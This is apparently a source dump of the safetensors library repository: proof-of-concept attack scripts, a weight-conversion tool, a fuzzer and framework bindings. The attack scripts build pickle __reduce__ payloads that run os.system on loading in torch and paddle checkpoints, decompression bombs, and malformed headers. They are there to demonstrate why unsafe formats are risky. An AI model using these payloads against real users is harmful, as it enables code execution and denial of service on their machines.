| # File: safetensors-main/attacks/numpy_dos_get_pwned.py | |
| import os | |
| import numpy as np | |
| filename = 'numpy_dos.npz' | |
| print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.") | |
| print('Be careful this might crash your computer by reserving way too much RAM') | |
| input('Press Enter to continue') | |
| archive = np.load(filename) | |
| weights = archive['weight'] | |
| assert np.allclose(weights, np.zeros((2, 2))) | |
| print('The file looks fine !') | |
| # File: safetensors-main/attacks/paddle_ace_create.py | |
| import paddle | |
| import numpy as np | |
| from collections import Iterable, OrderedDict | |
| def _parse_every_object(obj, condition_func, convert_func): | |
| if condition_func(obj): | |
| return convert_func(obj) | |
| elif isinstance(obj, (dict, OrderedDict, list)): | |
| if isinstance(obj, list): | |
| keys = range(len(obj)) | |
| else: | |
| keys = list(obj.keys()) | |
| for key in keys: | |
| if condition_func(obj[key]): | |
| obj[key] = convert_func(obj[key]) | |
| else: | |
| obj[key] = _parse_every_object(obj[key], condition_func, convert_func) | |
| return obj | |
| elif isinstance(obj, tuple): | |
| return tuple(_parse_every_object(list(obj), condition_func, convert_func)) | |
| elif isinstance(obj, set): | |
| object(list(obj), condition_func, convert_func) | |
| else: | |
| return obj | |
| paddle.framework.io._parse_every_object = _parse_every_object | |
| class BadDict(dict): | |
| def __init__(self, src: str, **kwargs): | |
| super().__init__(**kwargs) | |
| self.src = src | |
| def __reduce__(self): | |
| return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items())) | |
| paddle.save([BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': paddle.zeros((2, 2))})], 'paddle_ace.pdparams') | |
| # File: safetensors-main/attacks/safetensors_abuse_attempt_1.py | |
| import torch | |
| from safetensors.torch import load_file, save_file | |
| filename = 'safetensors_abuse_attempt_1.safetensors' | |
| def create_payload(): | |
| weights = {'weight': torch.zeros((2, 2))} | |
| save_file(weights, filename) | |
| with open(filename, 'r+b') as f: | |
| f.seek(0) | |
| n = 1000 | |
| n_bytes = n.to_bytes(8, 'little') | |
| f.write(n_bytes) | |
| create_payload() | |
| test = load_file(filename) | |
| # File: safetensors-main/attacks/safetensors_abuse_attempt_2.py | |
| import datetime | |
| import json | |
| import os | |
| from safetensors.torch import load_file | |
| filename = 'safetensors_abuse_attempt_2.safetensors' | |
| def create_payload(): | |
| shape = [2, 2] | |
| n = shape[0] * shape[1] * 4 | |
| metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 1000 * 10)} | |
| binary = json.dumps(metadata).encode('utf-8') | |
| n = len(binary) | |
| n_header = n.to_bytes(8, 'little') | |
| with open(filename, 'wb') as f: | |
| f.write(n_header) | |
| f.write(binary) | |
| f.write(b'\x00' * n) | |
| create_payload() | |
| print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo') | |
| start = datetime.datetime.now() | |
| test = load_file(filename) | |
| print(f'Loading the file took {datetime.datetime.now() - start}') | |
| # File: safetensors-main/attacks/safetensors_abuse_attempt_3.py | |
| import datetime | |
| import json | |
| import os | |
| from safetensors.torch import load_file | |
| filename = 'safetensors_abuse_attempt_2.safetensors' | |
| def create_payload(): | |
| shape = [200, 200] | |
| n = shape[0] * shape[1] * 4 | |
| metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 100)} | |
| binary = json.dumps(metadata).encode('utf-8') | |
| n = len(binary) | |
| n_header = n.to_bytes(8, 'little') | |
| with open(filename, 'wb') as f: | |
| f.write(n_header) | |
| f.write(binary) | |
| f.write(b'\x00' * n) | |
| create_payload() | |
| print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo') | |
| start = datetime.datetime.now() | |
| test = load_file(filename) | |
| print(f'Loading the file took {datetime.datetime.now() - start}') | |
| # File: safetensors-main/attacks/tf_ace_get_pwned.py | |
| import base64 | |
| import json | |
| import h5py | |
| import tensorflow as tf | |
| new_model = tf.keras.models.load_model('tf.h5') | |
| print('Transformers is not vulnerable to this, as it uses h5 directly.') | |
| print('Keras uses a pickled code of the function within the `h5` attrs of the file') | |
| print("Let's show you the marshalled code") | |
| with h5py.File('tf_ace.h5') as f: | |
| data = json.loads(f.attrs['model_config']) | |
| print(base64.b64decode(data['config']['layers'][-1]['config']['function'][0])) | |
| pass | |
| # File: safetensors-main/attacks/torch_ace_create.py | |
| import torch | |
| class BadDict(dict): | |
| def __init__(self, src: str, **kwargs): | |
| super().__init__(**kwargs) | |
| self.src = src | |
| def __reduce__(self): | |
| return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items())) | |
| torch.save(BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': torch.zeros((2, 2))}), 'torch_ace.pt') | |
| # File: safetensors-main/attacks/torch_dos_create.py | |
| import os | |
| from zipfile import ZIP_DEFLATED, ZipFile | |
| import torch | |
| FILESIZE = 40 * 1000 | |
| BUFFER = b'\x00' * 1000 * 1000 | |
| filename = 'torch_dos_tmp.pt' | |
| torch.save({'weight': torch.zeros((2, 2))}, filename) | |
| with ZipFile(filename, 'r') as torch_zip: | |
| outfilename = 'torch_dos.pt' | |
| with ZipFile(outfilename, 'w', compression=ZIP_DEFLATED) as outzip: | |
| outzip.writestr('archive/data.pkl', torch_zip.open('archive/data.pkl').read()) | |
| outzip.writestr('archive/version', torch_zip.open('archive/version').read()) | |
| with outzip.open('archive/data/0', 'w', force_zip64=True) as f: | |
| for i in range(FILESIZE): | |
| f.write(BUFFER) | |
| os.remove(filename) | |
| # File: safetensors-main/attacks/torch_dos_get_pwned.py | |
| import os | |
| import torch | |
| filename = 'torch_dos.pt' | |
| print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.") | |
| print('Be careful this might crash your computer by reserving way too much RAM') | |
| input('Press Enter to continue') | |
| weights = torch.load(filename) | |
| assert list(weights.keys()) == ['weight'] | |
| assert torch.allclose(weights['weight'], torch.zeros((2, 2))) | |
| print('The file looks fine !') | |
| # File: safetensors-main/bindings/python/convert.py | |
| import argparse | |
| import json | |
| import os | |
| import shutil | |
| from collections import defaultdict | |
| from tempfile import TemporaryDirectory | |
| from typing import Dict, List, Optional, Set, Tuple | |
| import torch | |
| from huggingface_hub import CommitInfo, CommitOperationAdd, Discussion, HfApi, hf_hub_download | |
| from huggingface_hub.file_download import repo_folder_name | |
| from safetensors.torch import _find_shared_tensors, _is_complete, load_file, save_file | |
| COMMIT_DESCRIPTION = '\nThis is an automated PR created with https://huggingface.co/spaces/safetensors/convert\n\nThis new file is equivalent to `pytorch_model.bin` but safe in the sense that\nno arbitrary code can be put into it.\n\nThese files also happen to load much faster than their pytorch counterpart:\nhttps://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb\n\nThe widgets on your model page will run using this model even if this is not merged\nmaking sure the file actually works.\n\nIf you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions\n\nFeel free to ignore this PR.\n' | |
| ConversionResult = Tuple[List['CommitOperationAdd'], List[Tuple[str, 'Exception']]] | |
| def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: List[str]=None, discard_names: List[str]=None) -> Dict[str, List[str]]: | |
| if preferred_names is None: | |
| preferred_names = [] | |
| preferred_names = set(preferred_names) | |
| if discard_names is None: | |
| discard_names = [] | |
| discard_names = set(discard_names) | |
| shareds = _find_shared_tensors(state_dict) | |
| to_remove = defaultdict(list) | |
| for shared in shareds: | |
| complete_names = set([name for name in shared if _is_complete(state_dict[name])]) | |
| if not complete_names: | |
| if len(shared) == 1: | |
| name = list(shared)[0] | |
| state_dict[name] = state_dict[name].clone() | |
| complete_names = {name} | |
| else: | |
| raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.') | |
| keep_name = sorted(list(complete_names))[0] | |
| preferred = complete_names.difference(discard_names) | |
| if preferred: | |
| keep_name = sorted(list(preferred))[0] | |
| if preferred_names: | |
| preferred = preferred_names.intersection(complete_names) | |
| if preferred: | |
| keep_name = sorted(list(preferred))[0] | |
| for name in sorted(shared): | |
| if name != keep_name: | |
| to_remove[keep_name].append(name) | |
| return to_remove | |
| def get_discard_names(model_id: str, revision: Optional[str], folder: str, token: Optional[str]) -> List[str]: | |
| try: | |
| import json | |
| import transformers | |
| config_filename = hf_hub_download(model_id, revision=revision, filename='config.json', token=token, cache_dir=folder) | |
| with open(config_filename, 'r') as f: | |
| config = json.load(f) | |
| architecture = config['architectures'][0] | |
| class_ = getattr(transformers, architecture) | |
| discard_names = getattr(class_, '_tied_weights_keys', []) | |
| except Exception: | |
| discard_names = [] | |
| return discard_names | |
| class AlreadyExists(Exception): | |
| pass | |
| def check_file_size(sf_filename: str, pt_filename: str): | |
| sf_size = os.stat(sf_filename).st_size | |
| pt_size = os.stat(pt_filename).st_size | |
| if (sf_size - pt_size) / pt_size > 0.01: | |
| raise RuntimeError(f'The file size different is more than 1%:\n - {sf_filename}: {sf_size}\n - {pt_filename}: {pt_size}\n ') | |
| def rename(pt_filename: str) -> str: | |
| (filename, ext) = os.path.splitext(pt_filename) | |
| local = f'{filename}.safetensors' | |
| local = local.replace('pytorch_model', 'model') | |
| return local | |
| def convert_multi(model_id: str, *, revision=Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult: | |
| filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin.index.json', token=token, cache_dir=folder) | |
| with open(filename, 'r') as f: | |
| data = json.load(f) | |
| filenames = set(data['weight_map'].values()) | |
| local_filenames = [] | |
| for filename in filenames: | |
| pt_filename = hf_hub_download(repo_id=model_id, filename=filename, token=token, cache_dir=folder) | |
| sf_filename = rename(pt_filename) | |
| sf_filename = os.path.join(folder, sf_filename) | |
| convert_file(pt_filename, sf_filename, discard_names=discard_names) | |
| local_filenames.append(sf_filename) | |
| index = os.path.join(folder, 'model.safetensors.index.json') | |
| with open(index, 'w') as f: | |
| newdata = {k: v for (k, v) in data.items()} | |
| newmap = {k: rename(v) for (k, v) in data['weight_map'].items()} | |
| newdata['weight_map'] = newmap | |
| json.dump(newdata, f, indent=4) | |
| local_filenames.append(index) | |
| operations = [CommitOperationAdd(path_in_repo=os.path.basename(local), path_or_fileobj=local) for local in local_filenames] | |
| errors: List[Tuple[str, 'Exception']] = [] | |
| return (operations, errors) | |
| def convert_single(model_id: str, *, revision: Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult: | |
| pt_filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin', token=token, cache_dir=folder) | |
| sf_name = 'model.safetensors' | |
| sf_filename = os.path.join(folder, sf_name) | |
| convert_file(pt_filename, sf_filename, discard_names) | |
| operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)] | |
| errors: List[Tuple[str, 'Exception']] = [] | |
| return (operations, errors) | |
| def convert_file(pt_filename: str, sf_filename: str, discard_names: List[str]): | |
| loaded = torch.load(pt_filename, map_location='cpu') | |
| if 'state_dict' in loaded: | |
| loaded = loaded['state_dict'] | |
| to_removes = _remove_duplicate_names(loaded, discard_names=discard_names) | |
| metadata = {'format': 'pt'} | |
| for (kept_name, to_remove_group) in to_removes.items(): | |
| for to_remove in to_remove_group: | |
| if to_remove not in metadata: | |
| metadata[to_remove] = kept_name | |
| del loaded[to_remove] | |
| loaded = {k: v.contiguous() for (k, v) in loaded.items()} | |
| dirname = os.path.dirname(sf_filename) | |
| os.makedirs(dirname, exist_ok=True) | |
| save_file(loaded, sf_filename, metadata=metadata) | |
| check_file_size(sf_filename, pt_filename) | |
| reloaded = load_file(sf_filename) | |
| for k in loaded: | |
| pt_tensor = loaded[k] | |
| sf_tensor = reloaded[k] | |
| if not torch.equal(pt_tensor, sf_tensor): | |
| raise RuntimeError(f'The output tensors do not match for key {k}') | |
| def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str: | |
| errors = [] | |
| for key in ['missing_keys', 'mismatched_keys', 'unexpected_keys']: | |
| pt_set = set(pt_infos[key]) | |
| sf_set = set(sf_infos[key]) | |
| pt_only = pt_set - sf_set | |
| sf_only = sf_set - pt_set | |
| if pt_only: | |
| errors.append(f'{key} : PT warnings contain {pt_only} which are not present in SF warnings') | |
| if sf_only: | |
| errors.append(f'{key} : SF warnings contain {sf_only} which are not present in PT warnings') | |
| return '\n'.join(errors) | |
| def previous_pr(api: 'HfApi', model_id: str, pr_title: str, revision=Optional[str]) -> Optional['Discussion']: | |
| try: | |
| revision_commit = api.model_info(model_id, revision=revision).sha | |
| discussions = api.get_repo_discussions(repo_id=model_id) | |
| except Exception: | |
| return None | |
| for discussion in discussions: | |
| if discussion.status in {'open', 'closed'} and discussion.is_pull_request and (discussion.title == pr_title): | |
| commits = api.list_repo_commits(model_id, revision=discussion.git_reference) | |
| if revision_commit == commits[1].commit_id: | |
| return discussion | |
| return None | |
| def convert_generic(model_id: str, *, revision=Optional[str], folder: str, filenames: Set[str], token: Optional[str]) -> ConversionResult: | |
| operations = [] | |
| errors = [] | |
| extensions = set(['.bin', '.ckpt']) | |
| for filename in filenames: | |
| (prefix, ext) = os.path.splitext(filename) | |
| if ext in extensions: | |
| pt_filename = hf_hub_download(model_id, revision=revision, filename=filename, token=token, cache_dir=folder) | |
| (dirname, raw_filename) = os.path.split(filename) | |
| if raw_filename == 'pytorch_model.bin': | |
| sf_in_repo = os.path.join(dirname, 'model.safetensors') | |
| else: | |
| sf_in_repo = f'{prefix}.safetensors' | |
| sf_filename = os.path.join(folder, sf_in_repo) | |
| try: | |
| convert_file(pt_filename, sf_filename, discard_names=[]) | |
| operations.append(CommitOperationAdd(path_in_repo=sf_in_repo, path_or_fileobj=sf_filename)) | |
| except Exception as e: | |
| errors.append((pt_filename, e)) | |
| return (operations, errors) | |
| def convert(api: 'HfApi', model_id: str, revision: Optional[str]=None, force: bool=False) -> Tuple['CommitInfo', List[Tuple[str, 'Exception']]]: | |
| pr_title = 'Adding `safetensors` variant of this model' | |
| info = api.model_info(model_id, revision=revision) | |
| filenames = set((s.rfilename for s in info.siblings)) | |
| with TemporaryDirectory() as d: | |
| folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type='models')) | |
| os.makedirs(folder) | |
| new_pr = None | |
| try: | |
| operations = None | |
| pr = previous_pr(api, model_id, pr_title, revision=revision) | |
| library_name = getattr(info, 'library_name', None) | |
| if any((filename.endswith('.safetensors') for filename in filenames)) and (not force): | |
| raise AlreadyExists(f'Model {model_id} is already converted, skipping..') | |
| elif pr is not None and (not force): | |
| url = f'https://huggingface.co/{model_id}/discussions/{pr.num}' | |
| new_pr = pr | |
| raise AlreadyExists(f'Model {model_id} already has an open PR check out {url}') | |
| elif library_name == 'transformers': | |
| discard_names = get_discard_names(model_id, revision=revision, folder=folder, token=api.token) | |
| if 'pytorch_model.bin' in filenames: | |
| (operations, errors) = convert_single(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names) | |
| elif 'pytorch_model.bin.index.json' in filenames: | |
| (operations, errors) = convert_multi(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names) | |
| else: | |
| raise RuntimeError(f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert") | |
| else: | |
| (operations, errors) = convert_generic(model_id, revision=revision, folder=folder, filenames=filenames, token=api.token) | |
| if operations: | |
| new_pr = api.create_commit(repo_id=model_id, revision=revision, operations=operations, commit_message=pr_title, commit_description=COMMIT_DESCRIPTION, create_pr=True) | |
| print(f'Pr created at {new_pr.pr_url}') | |
| else: | |
| print('No files to convert') | |
| finally: | |
| shutil.rmtree(folder) | |
| return (new_pr, errors) | |
| if __name__ == '__main__': | |
| DESCRIPTION = '\n Simple utility tool to convert automatically some weights on the hub to `safetensors` format.\n It is PyTorch exclusive for now.\n It works by downloading the weights (PT), converting them locally, and uploading them back\n as a PR on the hub.\n ' | |
| parser = argparse.ArgumentParser(description=DESCRIPTION) | |
| parser.add_argument('model_id', type=str, help='The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`') | |
| parser.add_argument('--revision', type=str, help='The revision to convert') | |
| parser.add_argument('--force', action='store_true', help='Create the PR even if it already exists of if the model was already converted.') | |
| parser.add_argument('-y', action='store_true', help='Ignore safety prompt') | |
| args = parser.parse_args() | |
| model_id = args.model_id | |
| api = HfApi() | |
| if args.y: | |
| txt = 'y' | |
| else: | |
| txt = input('This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file. Continue [Y/n] ?') | |
| if txt.lower() in {'', 'y'}: | |
| (commit_info, errors) = convert(api, model_id, revision=args.revision, force=args.force) | |
| string = f'\n### Success 🔥\nYay! This model was successfully converted and a PR was open using your token, here:\n[{commit_info.pr_url}]({commit_info.pr_url})\n ' | |
| if errors: | |
| string += '\nErrors during conversion:\n' | |
| string += '\n'.join((f'Error while converting {filename}: {e}, skipped conversion' for (filename, e) in errors)) | |
| print(string) | |
| else: | |
| print(f'Answer was `{txt}` aborting.') | |
| # File: safetensors-main/bindings/python/convert_all.py | |
| """""" | |
| from convert import AlreadyExists, convert | |
| from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments | |
| from transformers import AutoConfig | |
| if __name__ == '__main__': | |
| api = HfApi() | |
| args = ModelSearchArguments() | |
| total = 50 | |
| models = list(api.list_models(filter=ModelFilter(library=args.library.Transformers), sort='downloads', direction=-1))[:total] | |
| correct = 0 | |
| errors = set() | |
| for model in models: | |
| model = api.model_info(model.id, files_metadata=True) | |
| size = None | |
| for sibling in model.siblings: | |
| if sibling.rfilename == 'pytorch_model.bin': | |
| size = sibling.size | |
| if size is None or size > 2000000000: | |
| print(f'[{model.downloads}] Skipping {model.modelId} (too large {size})') | |
| continue | |
| model_id = model.modelId | |
| print(f'[{model.downloads}] {model.modelId}') | |
| try: | |
| convert(api, model_id) | |
| correct += 1 | |
| except AlreadyExists as e: | |
| correct += 1 | |
| print(e) | |
| except Exception as e: | |
| config = AutoConfig.from_pretrained(model_id) | |
| errors.add(config.__class__.__name__) | |
| print(e) | |
| print(f'Errors: {errors}') | |
| print(f'File size is difference {len(errors)}') | |
| print(f'Correct rate {correct}/{total} ({correct / total * 100:.2f}%)') | |
| # File: safetensors-main/bindings/python/fuzz.py | |
| import datetime | |
| import sys | |
| import tempfile | |
| from collections import defaultdict | |
| import atheris | |
| with atheris.instrument_imports(): | |
| from safetensors.torch import load_file | |
| EXCEPTIONS = defaultdict(int) | |
| START = datetime.datetime.now() | |
| DT = datetime.timedelta(seconds=30) | |
| def TestOneInput(data): | |
| global START | |
| with tempfile.NamedTemporaryFile() as f: | |
| f.write(data) | |
| f.seek(0) | |
| try: | |
| load_file(f.name, device=0) | |
| except Exception as e: | |
| EXCEPTIONS[str(e)] += 1 | |
| if datetime.datetime.now() - START > DT: | |
| for (e, n) in EXCEPTIONS.items(): | |
| print(e, n) | |
| START = datetime.datetime.now() | |
| atheris.Setup(sys.argv, TestOneInput) | |
| atheris.Fuzz() | |
| # File: safetensors-main/bindings/python/py_src/safetensors/flax.py | |
| import os | |
| from typing import Dict, Optional, Union | |
| import numpy as np | |
| import jax.numpy as jnp | |
| from jax import Array | |
| from safetensors import numpy, safe_open | |
| def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| np_tensors = _jnp2np(tensors) | |
| return numpy.save(np_tensors, metadata=metadata) | |
| def save_file(tensors: Dict[str, Array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None: | |
| np_tensors = _jnp2np(tensors) | |
| return numpy.save_file(np_tensors, filename, metadata=metadata) | |
| def load(data: bytes) -> Dict[str, Array]: | |
| flat = numpy.load(data) | |
| return _np2jnp(flat) | |
| def load_file(filename: Union[str, os.PathLike]) -> Dict[str, Array]: | |
| result = {} | |
| with safe_open(filename, framework='flax') as f: | |
| for k in f.keys(): | |
| result[k] = f.get_tensor(k) | |
| return result | |
| def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]: | |
| for (k, v) in numpy_dict.items(): | |
| numpy_dict[k] = jnp.array(v) | |
| return numpy_dict | |
| def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]: | |
| for (k, v) in jnp_dict.items(): | |
| jnp_dict[k] = np.asarray(v) | |
| return jnp_dict | |
| # File: safetensors-main/bindings/python/py_src/safetensors/mlx.py | |
| import os | |
| from typing import Dict, Optional, Union | |
| import numpy as np | |
| import mlx.core as mx | |
| from safetensors import numpy, safe_open | |
| def save(tensors: Dict[str, mx.array], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| np_tensors = _mx2np(tensors) | |
| return numpy.save(np_tensors, metadata=metadata) | |
| def save_file(tensors: Dict[str, mx.array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None: | |
| np_tensors = _mx2np(tensors) | |
| return numpy.save_file(np_tensors, filename, metadata=metadata) | |
| def load(data: bytes) -> Dict[str, mx.array]: | |
| flat = numpy.load(data) | |
| return _np2mx(flat) | |
| def load_file(filename: Union[str, os.PathLike]) -> Dict[str, mx.array]: | |
| result = {} | |
| with safe_open(filename, framework='mlx') as f: | |
| for k in f.keys(): | |
| result[k] = f.get_tensor(k) | |
| return result | |
| def _np2mx(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, mx.array]: | |
| for (k, v) in numpy_dict.items(): | |
| numpy_dict[k] = mx.array(v) | |
| return numpy_dict | |
| def _mx2np(mx_dict: Dict[str, mx.array]) -> Dict[str, np.array]: | |
| new_dict = {} | |
| for (k, v) in mx_dict.items(): | |
| new_dict[k] = np.asarray(v) | |
| return new_dict | |
| # File: safetensors-main/bindings/python/py_src/safetensors/numpy.py | |
| import os | |
| import sys | |
| from typing import Dict, Optional, Union | |
| import numpy as np | |
| from safetensors import deserialize, safe_open, serialize, serialize_file | |
| def _tobytes(tensor: np.ndarray) -> bytes: | |
| if not _is_little_endian(tensor): | |
| tensor = tensor.byteswap(inplace=False) | |
| return tensor.tobytes() | |
| def save(tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()} | |
| serialized = serialize(flattened, metadata=metadata) | |
| result = bytes(serialized) | |
| return result | |
| def save_file(tensor_dict: Dict[str, np.ndarray], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None: | |
| flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()} | |
| serialize_file(flattened, filename, metadata=metadata) | |
| def load(data: bytes) -> Dict[str, np.ndarray]: | |
| flat = deserialize(data) | |
| return _view2np(flat) | |
| def load_file(filename: Union[str, os.PathLike]) -> Dict[str, np.ndarray]: | |
| result = {} | |
| with safe_open(filename, framework='np') as f: | |
| for k in f.keys(): | |
| result[k] = f.get_tensor(k) | |
| return result | |
| _TYPES = {'F64': np.float64, 'F32': np.float32, 'F16': np.float16, 'I64': np.int64, 'U64': np.uint64, 'I32': np.int32, 'U32': np.uint32, 'I16': np.int16, 'U16': np.uint16, 'I8': np.int8, 'U8': np.uint8, 'BOOL': bool} | |
| def _getdtype(dtype_str: str) -> np.dtype: | |
| return _TYPES[dtype_str] | |
| def _view2np(safeview) -> Dict[str, np.ndarray]: | |
| result = {} | |
| for (k, v) in safeview: | |
| dtype = _getdtype(v['dtype']) | |
| arr = np.frombuffer(v['data'], dtype=dtype).reshape(v['shape']) | |
| result[k] = arr | |
| return result | |
| def _is_little_endian(tensor: np.ndarray) -> bool: | |
| byteorder = tensor.dtype.byteorder | |
| if byteorder == '=': | |
| if sys.byteorder == 'little': | |
| return True | |
| else: | |
| return False | |
| elif byteorder == '|': | |
| return True | |
| elif byteorder == '<': | |
| return True | |
| elif byteorder == '>': | |
| return False | |
| raise ValueError(f'Unexpected byte order {byteorder}') | |
| # File: safetensors-main/bindings/python/py_src/safetensors/paddle.py | |
| import os | |
| from typing import Dict, Optional, Union | |
| import numpy as np | |
| import paddle | |
| from safetensors import numpy | |
| def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| np_tensors = _paddle2np(tensors) | |
| return numpy.save(np_tensors, metadata=metadata) | |
| def save_file(tensors: Dict[str, paddle.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None: | |
| np_tensors = _paddle2np(tensors) | |
| return numpy.save_file(np_tensors, filename, metadata=metadata) | |
| def load(data: bytes, device: str='cpu') -> Dict[str, paddle.Tensor]: | |
| flat = numpy.load(data) | |
| return _np2paddle(flat, device) | |
| def load_file(filename: Union[str, os.PathLike], device='cpu') -> Dict[str, paddle.Tensor]: | |
| flat = numpy.load_file(filename) | |
| output = _np2paddle(flat, device) | |
| return output | |
| def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str='cpu') -> Dict[str, paddle.Tensor]: | |
| for (k, v) in numpy_dict.items(): | |
| numpy_dict[k] = paddle.to_tensor(v, place=device) | |
| return numpy_dict | |
| def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]: | |
| for (k, v) in paddle_dict.items(): | |
| paddle_dict[k] = v.detach().cpu().numpy() | |
| return paddle_dict | |
| # File: safetensors-main/bindings/python/py_src/safetensors/tensorflow.py | |
| import os | |
| from typing import Dict, Optional, Union | |
| import numpy as np | |
| import tensorflow as tf | |
| from safetensors import numpy, safe_open | |
| def save(tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| np_tensors = _tf2np(tensors) | |
| return numpy.save(np_tensors, metadata=metadata) | |
| def save_file(tensors: Dict[str, tf.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None: | |
| np_tensors = _tf2np(tensors) | |
| return numpy.save_file(np_tensors, filename, metadata=metadata) | |
| def load(data: bytes) -> Dict[str, tf.Tensor]: | |
| flat = numpy.load(data) | |
| return _np2tf(flat) | |
| def load_file(filename: Union[str, os.PathLike]) -> Dict[str, tf.Tensor]: | |
| result = {} | |
| with safe_open(filename, framework='tf') as f: | |
| for k in f.keys(): | |
| result[k] = f.get_tensor(k) | |
| return result | |
| def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]: | |
| for (k, v) in numpy_dict.items(): | |
| numpy_dict[k] = tf.convert_to_tensor(v) | |
| return numpy_dict | |
| def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]: | |
| for (k, v) in tf_dict.items(): | |
| tf_dict[k] = v.numpy() | |
| return tf_dict | |
| # File: safetensors-main/bindings/python/py_src/safetensors/torch.py | |
| import os | |
| import sys | |
| from collections import defaultdict | |
| from typing import Any, Dict, List, Optional, Set, Tuple, Union | |
| import torch | |
| from safetensors import deserialize, safe_open, serialize, serialize_file | |
| def storage_ptr(tensor: torch.Tensor) -> int: | |
| try: | |
| return tensor.untyped_storage().data_ptr() | |
| except Exception: | |
| try: | |
| return tensor.storage().data_ptr() | |
| except NotImplementedError: | |
| return 0 | |
| def _end_ptr(tensor: torch.Tensor) -> int: | |
| if tensor.nelement(): | |
| stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype] | |
| else: | |
| stop = tensor.data_ptr() | |
| return stop | |
| def storage_size(tensor: torch.Tensor) -> int: | |
| try: | |
| return tensor.untyped_storage().nbytes() | |
| except AttributeError: | |
| try: | |
| return tensor.storage().size() * _SIZE[tensor.dtype] | |
| except NotImplementedError: | |
| return tensor.nelement() * _SIZE[tensor.dtype] | |
| def _filter_shared_not_shared(tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]: | |
| filtered_tensors = [] | |
| for shared in tensors: | |
| if len(shared) < 2: | |
| filtered_tensors.append(shared) | |
| continue | |
| areas = [] | |
| for name in shared: | |
| tensor = state_dict[name] | |
| areas.append((tensor.data_ptr(), _end_ptr(tensor), name)) | |
| areas.sort() | |
| (_, last_stop, last_name) = areas[0] | |
| filtered_tensors.append({last_name}) | |
| for (start, stop, name) in areas[1:]: | |
| if start >= last_stop: | |
| filtered_tensors.append({name}) | |
| else: | |
| filtered_tensors[-1].add(name) | |
| last_stop = stop | |
| return filtered_tensors | |
| def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]: | |
| tensors = defaultdict(set) | |
| for (k, v) in state_dict.items(): | |
| if v.device != torch.device('meta') and storage_ptr(v) != 0 and (storage_size(v) != 0): | |
| tensors[v.device, storage_ptr(v), storage_size(v)].add(k) | |
| tensors = list(sorted(tensors.values())) | |
| tensors = _filter_shared_not_shared(tensors, state_dict) | |
| return tensors | |
| def _is_complete(tensor: torch.Tensor) -> bool: | |
| return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[tensor.dtype] == storage_size(tensor) | |
| def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: Optional[List[str]]=None, discard_names: Optional[List[str]]=None) -> Dict[str, List[str]]: | |
| if preferred_names is None: | |
| preferred_names = [] | |
| preferred_names = set(preferred_names) | |
| if discard_names is None: | |
| discard_names = [] | |
| discard_names = set(discard_names) | |
